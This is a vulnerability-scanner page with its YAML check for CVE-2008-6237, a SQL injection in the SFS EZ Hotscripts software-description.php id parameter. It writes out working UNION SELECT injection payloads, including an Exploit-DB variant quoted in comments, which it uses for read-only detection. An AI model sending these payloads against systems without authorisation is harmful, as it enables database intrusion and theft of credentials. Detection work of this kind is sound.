Sfs Ez Hotscripts — 1 vulnerability check

noctis ships 1 vulnerability check for Sfs Ez Hotscripts, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SFS EZ Hotscripts-like Site software-description.php id SQL Injection

CVECVE-2008-6237
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/sfs-ez-hotscripts/CVE-2008-6237.yaml

The Scripts For Sites (SFS) EZ Hotscripts-like Site / EZ Software script puts the id parameter of software-description.php unquoted into an SQL query, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the administrator account).

This check requests software-description.php under the usual install path (/software) and the web root. Where it answers, it sends an id that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. If the product is not shown but the page copies the injected id unfiltered into its hidden "sid" form field, as the vulnerable releases do, the finding is reported with a lower confidence. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/software-description.php
  3. HTTP(S) request GET {{dir}}/software-description.php?id={{sc.q}}
  4. Parses / computes the next value with a Rhai script
  5. Checks hit.dir for ^/ → finding QoD 97: SFS EZ Hotscripts-like Site software-description.php id SQL Injection (CVE-2008-6237)
  6. Checks hit.dir for ^/ → finding QoD 70: SFS EZ Hotscripts-like Site software-description.php id SQL Injection (CVE-2008-6237)

References:

Feed source — tests/vulnerabilities/sfs-ez-hotscripts/CVE-2008-6237.yaml
# Scripts For Sites (SFS) EZ Hotscripts-like Site / EZ Software — software-description.php
# id SQL injection — CVE-2008-6237
#
# software-description.php puts the id parameter unquoted into the SELECT that loads one
# software listing (27 columns) and prints the returned row; column 3 is shown on the page
# (EDB-6915: id=-5 union all select 1,2,version(),4,…,27/*, live demo of the vendor). The
# script is commercial (turnkeyzone.com) and no copy of its source is reachable, so the
# request shape comes from the advisory and the reference check.
#
# Detection, per candidate dir (/software, the default install path, then the web root)
# whose software-description.php answers 200:
#   QoD 97 — id = -5 union all select 1,2,CONCAT(0x4e4f43544953,a*b,0x454e44),4,…,27-- -
#            with random a, b. The vulnerable page shows NOCTIS<a*b>END; the product
#            a*b is never in the request, so only a database that evaluated our
#            expression can return it. Read-only: no row data is selected or written.
#   QoD 70 — fallback, the reference check's own signal: the raw id (our UNION text)
#            is copied unfiltered into the page's hidden "sid" input. Vulnerable
#            releases do this; a release that casts id to an integer does not.
#
# Better than the source NASL:
#   - a database-computed value (QoD 97) instead of only the reflected request text,
#     which any page echoing the query string unfiltered would match;
#   - "-- -" ends the injected query instead of nothing, so a query that continues
#     after id (ORDER BY, AND active=1) still runs the UNION;
#   - the reflection fallback accepts the sid/value attributes in either order.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_ez_hotscripts_34024_sqli_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100027, GPL-2.0-only).
uid: 175fa80e-f151-445a-81a5-89374e39525e
name: "SFS EZ Hotscripts-like Site software-description.php id SQL Injection (CVE-2008-6237)"
description: |
  The Scripts For Sites (SFS) EZ Hotscripts-like Site / EZ Software script puts the id
  parameter of software-description.php unquoted into an SQL query, without
  authentication, and prints the returned row, allowing SQL injection (an attacker can
  read the whole database, including the administrator account).

  This check requests software-description.php under the usual install path (/software)
  and the web root. Where it answers, it sends an id that is a UNION SELECT of an
  expression multiplying two random numbers. The vulnerability is confirmed when the
  page returns the product computed by the database, which never appears in the request.
  If the product is not shown but the page copies the injected id unfiltered into its
  hidden "sid" form field, as the vulnerable releases do, the finding is reported with a
  lower confidence. No stored data is read and nothing is written.
cves: [CVE-2008-6237]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [sfs, ez-hotscripts, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-6237"
  - "https://www.exploit-db.com/exploits/6915"
  - "http://www.securityfocus.com/bid/34024"
  # OpenVAS/Greenbone NASL 2009/gb_ez_hotscripts_34024_sqli_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded id payload ────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let cols = "";
      let i = 4;
      while i <= 27 { cols += "," + i; i += 1; }
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         expr_re: a + "\\*" + b,
         q: "-5%20union%20all%20select%201,2,CONCAT(0x4e4f43544953," + a + "*" + b
            + ",0x454e44)" + cols + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: {dir: "", qod: 0}

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/software", ""]

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/software-description.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit.qod < 97'
    store_as: landing

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/software-description.php?id={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit.qod < 97 && landing.status == 200'
    store_as: probe

  - id: check
    action: script
    condition: 'hit.qod < 97 && landing.status == 200'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      let d = if dir == "" { "/" } else { dir };
      let echo = "-5 union all select 1,2,CONCAT\\(0x4e4f43544953," + sc.expr_re + ",";
      if body.contains(sc.want) {
        #{ dir: d, qod: 97 }
      } else if hit.qod == 0 && probe.status == 200
          && (egrep("<input[^>]*sid[^>]*value[^>]*" + echo, body, true) != ""
              || egrep("<input[^>]*value[^>]*" + echo + "[^>]*sid", body, true) != "") {
        #{ dir: d, qod: 70 }
      } else {
        hit
      }
    store_as: hit

  # ── Findings (still inside the loop group: they run after every dir) ──────
  - id: report-union
    action: match
    condition: 'hit.qod == 97'
    source: hit.dir
    pattern: "^/"
    on_match:
      finding:
        title: "SFS EZ Hotscripts-like Site software-description.php id SQL Injection (CVE-2008-6237)"
        description: "An unauthenticated request to software-description.php with an id carrying a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database, including the administrator account."
        remediation: "No fixed release is known: cast id to an integer in software-description.php (or use a prepared statement), or remove the script."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit.dir}}: software-description.php?id=-5 union all select 1,2,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),4,…,27-- - returned the database-computed value {{sc.want}}"
      stop: true

  - id: report-reflect
    action: match
    # reported once, after the last dir, so the web root still gets its QoD 97 try
    condition: 'hit.qod == 70 && dir == ""'
    source: hit.dir
    pattern: "^/"
    on_match:
      finding:
        title: "SFS EZ Hotscripts-like Site software-description.php id SQL Injection (CVE-2008-6237)"
        description: "software-description.php copied an injected UNION SELECT id unfiltered into its hidden sid form field, as the vulnerable releases do (the database-computed value was not shown on the page): id is not cast to an integer, so it most likely reaches the SQL query unquoted."
        remediation: "No fixed release is known: cast id to an integer in software-description.php (or use a prepared statement), or remove the script."
        confidence_delta: 0.45
        qod: 70
        evidence: "install dir {{hit.dir}}: the id UNION SELECT payload was echoed unfiltered in the sid input of software-description.php"

View these feeds on GitHub